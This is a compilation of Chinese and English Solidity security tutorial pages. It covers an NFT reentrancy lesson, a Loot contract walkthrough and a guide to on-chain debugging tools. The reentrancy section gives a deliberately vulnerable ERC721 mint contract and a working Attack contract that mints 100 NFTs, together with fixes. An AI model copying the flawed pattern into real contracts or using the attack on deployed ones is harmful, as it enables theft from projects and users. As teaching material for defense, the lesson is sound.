这是因为NFT标准（[ERC721](https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/readme.md)/[ERC1155](https://github.com/AmazingAng/WTFSolidity/blob/main/40_ERC1155/readme.md)）为了防止用户误把资产转入黑洞而加入了安全转账：如果转入地址为合约，则会调用该地址相应的检查函数，确保它已准备好接收NFT资产。例如 `ERC721` 的 `safeTransferFrom()` 函数会调用目标地址的 `onERC721Received()` 函数，而黑客可以把恶意代码嵌入其中进行攻击。

我们总结了 `ERC721` 和 `ERC1155` 有潜在重入风险的函数：

![](./img/S16-1.png)

## 漏洞例子

下面我们学习一个有重入漏洞的NFT合约例子。这是一个`ERC721`合约，每个地址可以免费铸造一个NFT，但是我们通过重入攻击可以一次铸造多个。

### 漏洞合约

`NFTReentrancy`合约继承了`ERC721`合约，它主要有 `2` 个状态变量，`totalSupply`记录NFT的总供给，`mintedAddress`记录已铸造过的地址，防止一个用户多次铸造。它主要有 `2` 个函数：
- 构造函数: 初始化 `ERC721` NFT的名称和代号。
- `mint()`: 铸造函数，每个用户可以免费铸造1个NFT。**注意：这个函数有重入漏洞！**

contract NFTReentrancy is ERC721 {
    mapping(address => bool) public mintedAddress;
    constructor()

ERC721("Reentry NFT", "ReNFT"){}

    // 铸造函数，每个用户只能铸造1个NFT
    // 有重入漏洞
    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        // mint
        _safeMint(msg.sender, totalSupply);
        mintedAddress[msg.sender] = true;
    }
}
```

### 攻击合约

`NFTReentrancy`合约的重入攻击点在`mint()`函数会调用`ERC721`合约中的`_safeMint()`，从而调用转入地址的`_checkOnERC721Received()`函数。如果转入地址的`_checkOnERC721Received()`包含恶意代码，就能进行攻击。

`Attack`合约继承了`IERC721Receiver`合约，它有 `1` 个状态变量`nft`记录了有漏洞的NFT合约地址。它有 `3` 个函数:
- 构造函数: 初始化有漏洞的NFT合约地址。
- `attack()`: 攻击函数，调用NFT合约的`mint()`函数并发起攻击。
- `onERC721Received()`: 嵌入了恶意代码的ERC721回调函数，会重复调用`mint()`函数，并铸造100个NFT。

contract Attack is IERC721Receiver{
    NFTReentrancy public nft; // 有漏洞的nft合约地址

    // 初始化NFT合约地址
    constructor(NFTReentrancy _nftAddr) {
        nft = _nftAddr;
    }
    
    // 攻击函数，发起攻击
    function attack() external {
        nft.mint();
    }

    // ERC721的回调函数，会重复调用mint函数，铸造100个
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        if(nft.balanceOf(address(this)) < 100){
           
           nft.mint();
        }
        return this.onERC721Received.selector;
    }
}
```

## Remix复现

1. 部署`NFTReentrancy`合约。
2. 部署`Attack`合约，参数填`NFTReentrancy`合约地址。
3. 调用`Attack`合约的`attack()`函数发起攻击。
4. 调用`NFTReentrancy`合约的`balanceOf()`函数查询`Attack`合约的持仓，可以看到持有`100`个NFT，攻击成功。

![](./img/S16-2.png)

## 预防方法

主要有两种办法来预防重入攻击漏洞： 检查-影响-交互模式（checks-effect-interaction）和重入锁。

1. 检查-影响-交互模式：它强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。我们可以用这个模式修复有漏洞的`mint()`函数:

      function mint() payable external {
          // 检查是否mint过
          require(mintedAddress[msg.sender] == false);
          // 增加total supply
          totalSupply++;
          // 记录mint过的地址
          mintedAddress[msg.sender] = true;
          // mint
          _safeMint(msg.sender, totalSupply);
      }
  ```

2. 重入锁：它是一种防止重入函数的修饰器（modifier）。建议直接使用OpenZeppelin提供的[ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)

## 总结

这一讲，我们介绍了NFT的重入攻击漏洞，并攻击了一个有漏洞的NFT合约，铸造了100个NFT。目前主要有两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。

## WTF Solidity专题
### `工具`
**第1讲：Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】 【[文章](https://mirror.xyz/ninjak.eth/dSYXG9zF_Vclw58Bgcvsv6HSA0SU6pmBoYLFwLAgVbU)】

**第7讲：Foundry，以Solidity为中心的开发工具包** 【[代码](./Tools/TOOL07_Foundry/readme.md)】

**第4讲：漏洞概念验证-中篇** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/04_write_your_own_poc/)】| 【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/04_write_your_own_poc/en/)】

**第5讲：Rugpull 分析** 【[文章](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_Rugpull/)】|

【[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Topics/Onchain_debug/05_Rugpull/en/)】

### `NFT`

**第5讲：Loot**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/ERC721/5_Loot/Loot.sol)】

【[文章](https://mirror.xyz/ninjak.eth/-Bc_vjP9EX-wg6chtUFAz0zm5v-jaIekMlOlqHJ_IhE)】

### `合约安全`

**第1讲：Metamask项目方给Solidity程序员的16个安全建议**【[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/Consensys2020)】 【[文章](https://mirror.xyz/ninjak.eth/ygaDE0QQwn3lfI-AVaw0ZMqHQtWCdzo-XV450j2camc)】

### `翻译`

# WTF Solidity极简入门 ERC721专题5：Loot

-----

## Loot

![](./img/Loot-1.png)

`Loot`是以太坊链上的实验性NFT项目，发行于21年8月，共有8000个，前7777个免费`mint`，后233个项目方预留，最高时地板价突破20 `ETH`，目前稳定在1 `ETH`左右。与充斥市场的图片NFT不同，`Loot`是文字类NFT，所有元数据都保存在链上，保证了去中心化，没人能篡改。

它的内容比较简单，就是用文字描述了玩家的一套装备，包括武器、头盔、戒指共8类物品。“金指环”，“双子之剑”，“硬皮手套”，复古的名字让我回忆起小时候玩的《暗黑破坏神》。

`Loot`是一个开放的生态，项目方希望有更多团队能加入到`Loot`元宇宙的建设中。这一讲，我将介绍`Loot`是怎么用智能合约生成的文字，又是怎么把它放上链的。

##

Loot代码
`Loot`代码在etherscan上开源，地址：[链接](https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7#code)

主合约`Loot`从`1291行`开始，继承了`ERC721Enumerable`，`ReentrancyGuard`和`Ownable`，这些合约都是`oppenzepplin`标准库中的。

contract Loot is ERC721Enumerable, ReentrancyGuard, Ownable {
```

### 1. 装备描述基本词组
`Loot`在状态变量中定义了11个`String数组`用于生成装备描述的基本词组：

- 其中8个是装备列表，用于描述不同部位的装备，包括`weapon`, `chestArmor`, `headArmor`, `waistArmor`, `footArmor`, `handArmor`, `necklaces`, `rings`。拿`weapon`举例，它的`String数组`包含`战锤`, `木棒`等内容：

        string[] private weapons = [
        "Warhammer",
        "Quarterstaff",
        "Maul",
        "Mace",
        "Club",
        "Katana",
        "Falchion",
        "Scimitar",
        "Long Sword",
        "Short Sword",
        "Ghost Wand",
        "Grave Wand",
        "Bone Wand",
        "Wand",
        "Grimoire",
        "Chronicle",
        "Tome",
        "Book"
    ];
```

- 剩余3个是修饰装备的前缀和后缀，包括`suffixes`, `namePrefixes`和`nameSuffixes`。前缀后缀可以让装备看起来更牛逼，例如：`龙的完美之冠`，`鹰吼-华丽的巨人胸甲`。拿装备后缀举例，`suffixes`包括：

    string[] private suffixes = [
        "of Power",
        "of Giants",
        "of Titans",
        "of Skill",
        "of Perfection",
        "of Brilliance",
        "of Enlightenment",
        "of Protection",
       
       "of Anger",
        "of Rage",
        "of Fury",
        "of Vitriol",
        "of the Fox",
        "of Detection",
        "of Reflection",
        "of the Twins"
    ];
```

装备列表和修饰词随机结合，就能生成出`Loot`的文本NFT。

### 2. 随机生成描述文本

为了区分装备的稀有度，`Loot`利用链上伪随机数生成函数`random()`为装备描述文本提供随机性：

    function random(string memory input) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(input)));
    }
```

`random()`函数参数为`input`字符串，它计算`input`的哈希，再转换为`uint256`，将不同的`input`均匀的映射到不同的数字上。之后将得到数字映射到稀有度，就可以了，`Loot`定义了`pluck()`函数来做这一点。

    function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
        uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
        string memory output = sourceArray[rand % sourceArray.length];
        uint256 greatness = rand % 21;
        if (greatness > 14) {
            output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
        }
        if (greatness >= 19) {
            string[2] memory name;
            name[0] = namePrefixes[rand % namePrefixes.length];
            name[1] = nameSuffixes[rand % nameSuffixes.length];
            if (greatness == 19) {
                output =

string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
            } else {
                output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
            }
        }
        return output;
    }
```

`pluck()`函数的作用就是在给定`tokenId`, `keyPrefix` (装备部位)和`sourceArray` (装备列表)，来生成特定部位装备的描述。一个装备有`33.3%`的概率拥有后缀，其中有`9.5%`的概率拥有`特殊名称`。因此，`Loot`中每件装备有`66.7%`为普通，`23.8%`为稀有，`9.5%`为史诗。

`Loot`包含8个`get()`函数来获取8个部位的装备，拿`getWeapon()`举例，这个函数获得武器描述：它调用了`pluck`函数，装备部位为`"WEAPON"`,装备列表为状态变量`weapons`。

    function getWeapon(uint256 tokenId) public view returns (string memory) {
        return pluck(tokenId, "WEAPON", weapons);
    }
```

### 3. 元数据上链
由于`keyPrefix`和`sourceArray`都是复用的，因此`Loot`的装备描述
/稀有度完全由`tokenId`决定：给定`tokenId`，总会得到同一组装备。因此，`Loot`没有"保存"所有装备描述。每次用户查询元数据的时候，合约会生成一份装备描述。这个方法非常创新非常聪明，显著减少了存储占用，让元数据上链成为可能。

我们看一下它的`tokenURI()`函数：

    function tokenURI(uint256 tokenId) override public view returns (string memory) {
        string[17] memory parts;
        parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family:

serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';

        parts[1] = getWeapon(tokenId);

        parts[2] = '</text><text x="10" y="40" class="base">';

        parts[3] = getChest(tokenId);

        parts[4] = '</text><text x="10" y="60" class="base">';

        parts[5] = getHead(tokenId);

        parts[6] = '</text><text x="10" y="80" class="base">';

        parts[7] = getWaist(tokenId);

        parts[8] = '</text><text x="10" y="100" class="base">';

        parts[9] = getFoot(tokenId);

        parts[10] = '</text><text x="10" y="120" class="base">';

        parts[11] = getHand(tokenId);

        parts[12] = '</text><text x="10" y="140" class="base">';

        parts[13] = getNeck(tokenId);

        parts[14] = '</text><text x="10" y="160" class="base">';

        parts[15] = getRing(tokenId);

        parts[16] = '</text></svg>';

        string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
        output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
        
        string memory json =

Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
        output = string(abi.encodePacked('data:application/json;base64,', json));

    }
```

一般pfp

NFT的`tokenURI()`函数是直接返回一个带有元数据`json`的网址；而`Loot`的则是直接返回一个`json`。它定义了`parts`变量，然后通过8个`get()`函数拼接出含有装备描述的`svg`文件，作为元数据的`image`，方便展示。最后，它把`name`，`description`和`image`一起打包成一个`Base64`编码的`json`，作为`tokenURI()`查询的返回值。

下面是一个`tokenURI()`的返回值例子：

data:application/json;base64,eyJuYW1lIjogIkJhZyAjNSIsICJkZXNjcmlwdGlvbiI6ICJMb290IGlzIHJhbmRvbWl6ZWQgYWR2ZW50dXJlciBnZWFyIGdlbmVyYXRlZCBhbmQgc3RvcmVkIG9uIGNoYWluLiBTdGF0cywgaW1hZ2VzLCBhbmQgb3RoZXIgZnVuY3Rpb25hbGl0eSBhcmUgaW50ZW50aW9uYWxseSBvbWl0dGVkIGZvciBvdGhlcnMgdG8gaW50ZXJwcmV0LiBGZWVsIGZyZWUgdG8gdXNlIExvb3QgaW4gYW55IHdheSB5b3Ugd2FudC4iLCAiaW1hZ2UiOiAiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhCeVpYTmxjblpsUVhOd1pXTjBVbUYwYVc4OUluaE5hVzVaVFdsdUlHMWxaWFFpSUhacFpYZENiM2c5SWpBZ01DQXpOVEFnTXpVd0lqNDhjM1I1YkdVK0xtSmhjMlVnZXlCbWFXeHNPaUIzYUdsMFpUc2dabTl1ZEMxbVlXMXBiSGs2SUhObGNtbG1PeUJtYjI1MExYTnBlbVU2SURFMGNIZzdJSDA4TDNOMGVXeGxQanh5WldOMElIZHBaSFJvUFNJeE1EQWxJaUJvWldsbmFIUTlJakV3TUNVaUlHWnBiR3c5SW1Kc1lXTnJJaUF2UGp4MFpYaDBJSGc5SWpFd0lpQjVQU0l5TUNJZ1kyeGhjM005SW1KaGMyVWlQazFoZFd3Z2IyWWdVbVZtYkdWamRHbHZiand2ZEdWNGRENDhkR1Y0ZENCNFBTSXhNQ0lnZVQwaU5EQWlJR05zWVhOelBTSmlZWE5sSWo1UWJHRjBaU0JOWVdsc1BDOTBaWGgwUGp4MFpYaDBJSGc5SWpFd0lpQjVQU0kyTUNJZ1kyeGhjM005SW1KaGMyVWlQa1J5WVdkdmJpZHpJRU55YjNkdUlHOW1JRkJsY21abFkzUnBiMjQ4TDNSbGVIUStQSFJsZUhRZ2VEMGlNVEFpSUhrOUlqZ3dJaUJqYkdGemN6MGlZbUZ6WlNJK1UyRnphRHd2ZEdWNGRENDhkR1Y0ZENCNFBTSXhNQ0lnZVQwaU1UQXdJaUJqYkdGemN6MGlZbUZ6WlNJK1NHOXNlU0JIY21WaGRtVnpQQzkwWlhoMFBqeDBaWGgwSUhnOUlqRXdJaUI1UFNJeE1qQWlJR05zWVhOelBTSmlZWE5sSWo1SVlYSmtJRXhsWVhSb1pYSWdSMnh2ZG1WelBDOTBaWGgwUGp4MFpYaDBJSGc5SWpFd0lpQjVQU0l4TkRBaUlHTnNZWE56UFNKaVlYTmxJajVRWlc1a1lXNTBQQzkwWlhoMFBqeDBaWGgwSUhnOUlqRXdJaUI1UFNJeE5qQWlJR05zWVhOelBTSmlZWE5sSWo1VWFYUmhibWwxYlNCU2FXNW5QQzkwWlhoMFBqd3ZjM1puUGc9PSJ9
```

把它复制到浏览器打开，可以直接获取`Loot`的元数据，挺神奇的：
![](./img/Loot-2.png)

下面是`Loot`生成的文字描述`svg`图片的例子
```
data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHByZXNlcnZlQXNwZWN0UmF0aW89InhNaW5ZTWluIG1lZXQiIHZpZXdCb3g9IjAgMCAzNTAgMzUwIj48c3R5bGU+LmJhc2UgeyBmaWxsOiB3aGl0ZTsgZm9udC1mYW1pbHk6IHNlcmlmOyBmb250LXNpemU6IDE0cHg7IH08L3N0eWxlPjxyZWN0IHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGZpbGw9ImJsYWNrIiAvPjx0ZXh0IHg9IjEwIiB5PSIyMCIgY2xhc3M9ImJhc2UiPk1hdWwgb2YgUmVmbGVjdGlvbjwvdGV4dD48dGV4dCB4PSIxMCIgeT0iNDAiIGNsYXNzPSJiYXNlIj5QbGF0ZSBNYWlsPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSI2MCIgY2xhc3M9ImJhc2UiPkRyYWdvbidzIENyb3duIG9mIFBlcmZlY3Rpb248L3RleHQ+PHRleHQgeD0iMTAiIHk9IjgwIiBjbGFzcz0iYmFzZSI+U2FzaDwvdGV4dD48dGV4dCB4PSIxMCIgeT0iMTAwIiBjbGFzcz0iYmFzZSI+SG9seSBHcmVhdmVzPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxMjAiIGNsYXNzPSJiYXNlIj5IYXJkIExlYXRoZXIgR2xvdmVzPC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxNDAiIGNsYXNzPSJiYXNlIj5QZW5kYW50PC90ZXh0Pjx0ZXh0IHg9IjEwIiB5PSIxNjAiIGNsYXNzPSJiYXNlIj5UaXRhbml1bSBSaW5nPC90ZXh0Pjwvc3ZnPg==
```

把它复制到浏览器打开，得到下面的图片：

![](./img/Loot-3.png)

##

Loot的铸造漏洞

由于`tokenId`对应的稀有度在`mint`前已经决定，黑客可以写一个合约来`mint`稀有的NFT。

具体方法：计算每个`tokenURI`对应在`pluck()`函数中`greatness`，当`greatness%21 >= 19`，装备必是史诗。优先加高`gas`来`mint`这类稀有的`Loot NFT`。

## 总结

`Loot`是我知道的第一个将元数据全部上链的文字`NFT`项目，非常有开创性和可拓展性。它并不是把元数据直接存到链上（太费链上存储空间），而是每次都通过智能合约重新生成一份元数据返回。如果大家想`fork`这个项目，需要认真看下`random()`, `pluck()`和`tokenURI()`这三个函数。

## WTF Solidity习题汇总

文件夹命名规则：
- 每一讲的随堂检验，以第一讲为例：`Quiz_01_HelloWeb3`
- 每5讲的小测，以第1-5讲小测为例：`Exam_01_05`
- 入门、进阶、应用的大测验，入门为`Exam_Baic`，进阶为`Exam_Advanced`、应用为`Exam_Application`

# OnChain Transaction Debugging: 1. Tools

Author: [SunSec](https://twitter.com/1nf0s3cpt)

当初我在学习链上交易分析时，很少相关教学文章，只能自己慢慢地收集资料从中挖掘如何分析到测试。我们将推出一系列 Web3 安全的教学文章, 帮助更多人加入 Web3 安全，共创安全网路。

第一个系列我们将介绍如何进行链上分析到撰写攻击重现。此技能将能帮助你分析攻击过程和漏洞原因甚至套利机器人如何套利！

## 工欲善其事，必先利其器
在进入分析之前，我先介绍一些常用工具，正确的工具可以帮助你做研究时更有效率。
### Transaction debugging tools
[Phalcon](https://phalcon.blocksec.com/) | [Tx.viewer](https://tx.eth.samczsun.com/) | [Cruise](https://cruise.supremacy.team/) | [Ethtx](https://ethtx.info/) | [Tenderly](https://dashboard.tenderly.co/explorer)

Transaction Viewer 这类工具是最常用的，可以帮助我们针对想要分析的交易 Transaction，以可视化列出函数呼叫的流程以及每个函数带入了什么的参数等。
每个工具大同小异，只差异在链的支援度不同和辅助功能，我个人是比较常用 Phalcon 和 Sam 的 Transaction Viewer，如果遇到不支援的链则会使用 Tenderly，Tenderly 支援最多链，但是可读性就不是这么方便，需要 Debug 慢慢分析。不过我最初在研究链上分析是先学习 Ethtx 和 Tenderly。

#### 链支援度比较

Phalcon： `Ethereum、BSC、Cronos、Avalanche C-Chain、Polygon`

Sam's Transaction viewer： `Ethereum、Polygon、BSC、Avalanche C-Chain、Fantom、Arbitrum、Optimism`

Cruise： `Ethereum、BSC 、Polygon、Arbitrum、Fantom、Optimism、Avalanche、Celo、Gnosis`

Ethtx： `Ethereum、Goerli

testnet`

Tendery： `Ethereum、Polygon、BSC、Sepolia、Goerli、Gnosis、POA、RSK、Avalanche C-Chain、Arbitrum、Optimism
、Fantom、Moonbeam、Moonriver`

#### 实务操作
以 JayPeggers - Insufficient validation + Reentrancy [事件](https://github.com/SunWeb3Sec/DeFiHackLabs/#20221229---jay---insufficient-validation--reentrancy)来当例子 [TXID](https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6)
使用 Blocksec 开发的 Phalcon 工具来说明，下图可以看到该交易的基本资讯和余额变化，从余额变化可以快速看出攻击者大概获利多少，以这个例子攻击者获利 15.32 ETH。

![210571234-402d96aa-fe5e-4bc4-becc-190bd5a78e68-2](https://user-images.githubusercontent.com/107249780/210686382-cc02cc6a-b8ec-4cb7-ac19-402cd8ff86f6.png)

Invocation Flow 可视化函数调用流程: 可以让我们知道这一笔交易调用流程和函数呼叫的层级，有没有使用闪电贷、涉及了哪些项目、呼叫了哪些函数带入了什么参数和原始 data 等等

![图片](https://user-images.githubusercontent.com/52526645/210572053-eafdf62a-7ebe-4caa-a905-045e792add2b.png)

Phalcon 2.0 新增了资金流向和 Debug + 源代码分析可以在 Trace

的过程中边看程式执行的片段、参数、返回值，分析上方便了不少。

![image](https://user-images.githubusercontent.com/107249780/210821062-d1da8d1a-9615-4f1f-838d-34f27b9c3f41.png)

换 Sam 的 Transaction Viewer 来看看 [TXID](https://tx.eth.samczsun.com/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6)
跟 Phalcon 类似但 Sam 整合了许多小工具在里面，如下图的眼睛点下去可以看到 Storage 的变化和每个呼叫所消耗的 Gas。

![210574290-790f6129-aa82-4152-b3e1-d21820524a0a-2](https://user-images.githubusercontent.com/107249780/210686653-f964a682-d2a7-4b49-bafc-c9a2b0fa2c55.png)

点击最左边的 Call，可以把原始 Input data 尝试 Decode。

![图片](https://user-images.githubusercontent.com/52526645/210575619-89c8e8de-e2f9-4243-9646-0661b9483913.png)

再来换 Tendery 来看看 [TXID](https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6)
在 Tendery 介面上，一样可以看到基本资讯，但在 Debug 的部分就不是可视化，需要一步一步 Debug 走下去分析，不过好处是可以边 Debug 边看程式码还有 Input data 的转换过程。

![图片](https://user-images.githubusercontent.com/52526645/210577802-c455545c-80d7-4f35-974a-dadbe59c626e.png)

到这边就可以帮我们厘清大概这笔交易做了哪些事情，在还没有开始写 Poc

时，如果想要快速重放攻击可以吗? 可以! 可以使用Tendery 或 Phalcon，这两个工具另外支援了模拟交易重现，在上图右上角有一个按钮 Re-Simulate，工具会自动帮你带上该交易的参数值如下图
从图中的栏位可以依照需求任意改变如改block number, From, Value, Input data 等

![图片](https://user-images.githubusercontent.com/52526645/210580340-f2abf864-e540-4881-8482-f28030e5e35b.png)

### Ethereum Signature Database

[4byte](https://www.4byte.directory/) | [sig.eth](https://sig.eth.samczsun.com/) | [etherface](https://www.etherface.io/hash)

在原始 Input data，前面 4bytes 为 Function Signature. 有时遇到 Etherscan 或分析工具无法解出来时，可以透过 Signature Database 来查看看可能是什么 Function。

以下举例假设我们不知道 `0xac9650d8` 是什么 Function
![图片](https://user-images.githubusercontent.com/52526645/210582149-61a6d973-b458-432f-b586-250c94c3ae24.png)

透过 sig.eth 查询，可以看到这个 4 bytes signature 为 `multicall(bytes[])`
![图片](https://user-images.githubusercontent.com/52526645/210583416-c31bbe07-fa03-4701-880d-0ae485b171f7.png)

### Useful tools

[ABI to interface](https://gnidan.github.io/abi-to-sol/) | [Get ABI for unverified contracts](https://abi.w1nt3r.xyz/) | [ETH Calldata

Decoder](https://apoorvlathey.com/eth-calldata-decoder/) | [ETHCMD - Guess ABI](https://www.ethcmd.com/)

ABI to interface: 在开发 Poc 时需要呼叫其他合约时要有 Interface 接口，我们可以透过这个工具帮你快速产生你要的接口。
先去 Etherscan 把 ABI 复制下来，贴过去工具上就可以看到产生出来的 Interface。
[例子](https://etherscan.io/address/0xb3da8d6da3ede239ccbf576ca0eaa74d86f0e9d3#code)

![图片](https://user-images.githubusercontent.com/52526645/210587442-e7853d8b-0613-426e-8a27-d70c80e2a42d.png)
![图片](https://user-images.githubusercontent.com/52526645/210587682-5fb07a01-2b21-41fa-9ed5-e7f45baa0b3e.png)

ETH Calldata Decoder: 有时候在没有 ABI 的情况下想要解看看 Input data 可以试试看 ETH Calldata Decoder，在前面介绍到 Sam 的工具就有支援 Input data decode。

![图片](https://user-images.githubusercontent.com/52526645/210585761-efd8b6f1-b901-485f-ae66-efaf9c84869c.png)

Get ABI for unverified contracts: 如果遇到未开源的合约，可以透过这个工具尝试列举出这个合约中存在的 Function Signature.
[例子](https://abi.w1nt3r.xyz/mainnet/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704)

![图片](https://user-images.githubusercontent.com/52526645/210588945-701b0e22-7390-4539-9d2f-e13479b52824.png)

### Decompile

tools
[Etherscan-decompile bytecode](https://etherscan.io/address/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704#code) | [Dedaub](https://library.dedaub.com/decompile) | [heimdall-rs](https://github.com/Jon-Becker/heimdall-rs)

Etherscan 内建有一个反编译功能但可读性偏差，个人比较常使用 Dedaub，可读性好一点，也是常常最多人DM 问我都使用哪个工具反编译。
我们拿一个 MEV Bot 被攻击来当[例子](https://twitter.com/1nf0s3cpt/status/1577594615104172033)
可以自己试试解看看 [例子](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code)

首先把未开源合约的 Bytecodes 复制下来贴到 Dedaub 上，点 Decompile 即可。
![截图 2023-01-05 上午10 33 15](https://user-images.githubusercontent.com/107249780/210688395-927c6126-b6c1-4c6d-a0c7-a3fea3db9cdb.png)

![图片](https://user-images.githubusercontent.com/52526645/210591478-6fa928f3-455d-42b5-a1ac-6694f97386c2.png)

第一课分享就先到这边，想学更多可以参考以下学习资源。
---
## 学习资源
[samczsun's eth txn explorer and vscode extension](https://www.youtube.com/watch?v=HXgu239mPBc)

[Vulnerabilities in DeFi by Daniel V.F.](https://www.youtube.com/watch?v=9fcOffCg2ig)

[Tenderly.co - Debug

Transaction](https://www.youtube.com/watch?v=90GN9Ut8LhU)

[Reversing The EVM: Raw Calldata](https://degatchi.com/articles/reading-raw-evm-calldata)

https://web3sec.xrex.io/

Online resources were scarce when I started learning on-chain transaction analysis. Although slowly, l was able to piece together bits and pieces of information to perform tests and analysis.

From my studies, we will launch a series of Web3 security articles to entice more people to join Web3 security and create a secure network together.

In the first series, we will introduce how to conduct an on-chain analysis, and then we will reproduce on-chain attack(s). This skill will aid us in understanding the attack process, the root cause of the vulnerability, and even how the arbitrage robot arbitrages!

## Tools can greatly improve efficiency
Before getting into the analysis, allow me to introduce some common tools. The right tools can help you do research more efficiently.

Transaction Viewer is the most commonly used

tool, it is able to list the stack trace of function calls and the input data in each function during the transaction. Transaction viewer tools are all similar; the major difference is the chain support and auxiliary functions support. I personally use Phalcon and Sam’s Transaction Viewer. If I encounter unsupported chains, I will use Tenderly. Tenderly supports most chains, But the readability is limited, and analysis can be slow using its Debug feature. It is however one of the first tools I learned along with Ethtx.

#### Chain support comparison

Ethtx： `Ethereum、Goerli testnet`

#### Lab
We will look at JayPeggers - Insufficient validation + Reentrancy [Incident](https://github.com/SunWeb3Sec/DeFiHackLabs/#20221229---jay---insufficient-validation--reentrancy) as an

example transaction [TXID](https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6) to dissect.

First I use the Phalcon tool developed by Blocksec to illustrate. The basic information and balance changes of the transaction can be seen in the figure below. From the balance changes, we can quickly see how much profit the attacker has made. In this example, the attacker made a profit of 15.32 ETH.

Invocation Flow Visualization - Is function invocation with trace-level information and event logs. It shows us the call invocation, the function call level of this transaction, whether flash loan is used, which projects are involved, which functions are called, and what parameters and raw data are brought in, etc.

![圖片](https://user-images.githubusercontent.com/52526645/210572053-eafdf62a-7ebe-4caa-a905-045e792add2b.png)

Phalcon 2.0 added funds flow, and Debug + source code analysis directly shows the source code, parameters, and

return values along with the trace, which is more convenient for analysis.  

Now let's try Sam's Transaction Viewer on the same [TXID](https://tx.eth.samczsun.com/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6). Sam integrates many tools in it, as shown in the picture below, you can see the change in Storage and the Gas consumed by each call.

Click Call on the left to decode the raw Input data.

![圖片](https://user-images.githubusercontent.com/52526645/210575619-89c8e8de-e2f9-4243-9646-0661b9483913.png)

Let's now switch to Tendery to analyze the same [TXID](https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6), you can see the basic information like other tools. But using the Debug feature, it is not visualized and needs to be analyzed step by step.

However, the advantage is that you can view the code and the conversion process of Input data while Debugging.

![圖片](https://user-images.githubusercontent.com/52526645/210577802-c455545c-80d7-4f35-974a-dadbe59c626e.png)

This can help us clarify all the things this transaction did. Before writing the POC, can we run a replay attack? Yes! Both Tendery or Phalcon support simulated transactions, you can find a button Re-Simulate in the upper right corner in the figure above. The tool will automatically fill the parameter values from the transaction for you as shown in the figure below. Parameters can be changed arbitrarily according to simulation needs, such as changing block number, From, Gas, Input data, etc.

![圖片](https://user-images.githubusercontent.com/52526645/210580340-f2abf864-e540-4881-8482-f28030e5e35b.png)

In the Raw Input data, the first 4 bytes are Function Signatures. Sometimes if Etherscan or analysis tools cannot identify the function, we may check the possible

Functions through the Signature Database.

The following example assumes that we do not know what Function `0xac9650d8` is

![圖片](https://user-images.githubusercontent.com/52526645/210582149-61a6d973-b458-432f-b586-250c94c3ae24.png)

Through a sig.eth query, we find that the 4 bytes signature is `multicall(bytes[])` 

![圖片](https://user-images.githubusercontent.com/52526645/210583416-c31bbe07-fa03-4701-880d-0ae485b171f7.png)

[ABI to interface](https://gnidan.github.io/abi-to-sol/) | [Get ABI for unverified contracts](https://abi.w1nt3r.xyz/) | [ETH Calldata Decoder](https://apoorvlathey.com/eth-calldata-decoder/) | [ETHCMD - Guess ABI](https://www.ethcmd.com/)

